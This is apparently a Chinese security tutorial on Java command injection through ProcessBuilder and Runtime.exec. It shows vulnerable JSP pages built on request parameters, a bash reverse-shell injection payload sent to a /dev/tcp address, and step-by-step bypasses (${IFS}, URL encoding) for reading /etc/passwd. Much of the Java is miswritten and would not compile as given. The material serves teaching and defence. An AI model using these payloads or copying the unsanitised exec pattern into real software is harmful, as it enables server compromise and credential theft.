java命令执行漏洞
ProcessBuilder命令执行漏洞
Processbuilder执行命令的方式如下
ProcessBuilder pb = new ProcessBuilder("myCommand","myarg"); Process process = pb.start();
#PROCESSBUILDER管理一个进程属性集.start()方法利用这些属性创建一个新的process实例.
Processbuilder执行"ls -al"
public class exec{
public static void main(String[] args) throws IOException{
ProcessBuilder p = new ProcessBuilder("ls","-al");
Process pb = p.start();
//获取完成命令后的结果并输出
string line;
bufferedreader reader = new bufferedreader(new inputstreamreader(pb.getinputstream(),"GBK");
while((line = reader.readLine())!=null){
system.out.println(line);
}
reader.close();
}
}
连接漏洞实例
<% string ip = request.getparameter("ip"); try{ processbuilder p =new processbuilder("ping","-t","3",ip); #主要问题出在这里,ip是完全可控的,通过命令连接符";"即可实现攻击 例如输入127.0.0.1;/bin/bash -i >& /dev/tcp/ip/port 0>%1; process pb = p.start(); string line ; bufferedreader reader = new bufferedreader(new inputstreamreader(pb.getinputsrream(),"GBK")); while((line=reader.readLine())!=null){ out.println(line); } reader.close(); }catch(exception e) { out.println(e); } %>
由于runtime.getruntime.exec 和process builder.start执行系统名命令时,没有获取unix或linux shell并在其中运行命令.要使用管道功能必须是shell程序
exec="ping -t 3"+ip;
改成processbuilder pb = new processbuilder("bash","-c",exec);
Runtimeexec 命令执行漏洞
参数可控的情况命令执行漏洞的利用和原理
1.runtime exec执行字符串参数和数据参数之间的不同process proc = runtime.getruntime().exec("ping x.x.x.x");
#执行成功返回正常
process proc = runtime.getruntime().exec("ping x.x.x.x;ls");
#执行完成没有结果,命令没有执行成功
改为数组传参
stinrg[] command = {"/bin/sh","-c","ping -t 3 x.x.x.x;id");
process proc = runtime.getruntime().exec(command);
#成功执行
原因:跟进rumtime.getruntime的exec函数发现会尽过一个stirngtokenizer的函数对传入参数进行调整
pubulic stringtokenizer(string str){
this(str,delim:"\t\n\r\f",returndelims:false
}
处理示例:
string com = "/bin/sh -c \"ping -t 3 x.x.x.x;id \"";
字符串传参,被stringtokenizer分割成
"/bin/sh" "-c" ""ping" "-t" "3" "x.x.x.x" "id"" """ 原语义已经被删除不能执行此命令
string[] com = {"/bin/sh","-c"."ping -t 3 x.x.x.x;id"};
直接调用processbuilder执行 "/bin/sh" "-c" "ping -t 3 x.x.x.x;id"
数组传参
runtimeexec方法本身可控的情况下执行命令执<%
string cmd = request.getparameter("cmd"); try{ process proc = runtime.getRuntime().exec(cmd); string line; bufferedreader reader = new bufferedreader(new inputstreamreader(proc.getinputsream(),"GBK")); while((line=reader.readLine())!=null){ out.println(line); } reader.close(); }catch(exception e){ out.println(e); } %>
cmd参数可控并且没有过滤 1.绕过stringtokenizer2符合RFCurl规范
命令1:cmd=ls
#执行成功
命令2:cmd=ls;cat /etc/passwd
#错误 原因:通过runtime.getruntime().exec执行命令并没有启动一个新的shell,所以需要重新启动一个shell
改成 cmd=sh -c ls;cat /etc/passwd
#错误 原因参数为字符串参数,会被stringtokenizer分割导致失去原有语义不能执行,绕过stringtokenizer只需要替换空格字符如 ${IFS},$IFS$9等
改成 cmd=sh -c ls;cat${IFS}/etc/passwd
#报错 the valid characters are defined in RFC 7230 and RFC 3986
解析:根据RFC规范,url只允许包含字母a-z A-Z 0-9 和一些特殊字符,不包含{}所以报错,利用url编码绕过即可
改成 cmd=sh%20-c%20ls;cat$%7BIFS%7D/etc/passwd
#成功
浙公网安备 33010602011771号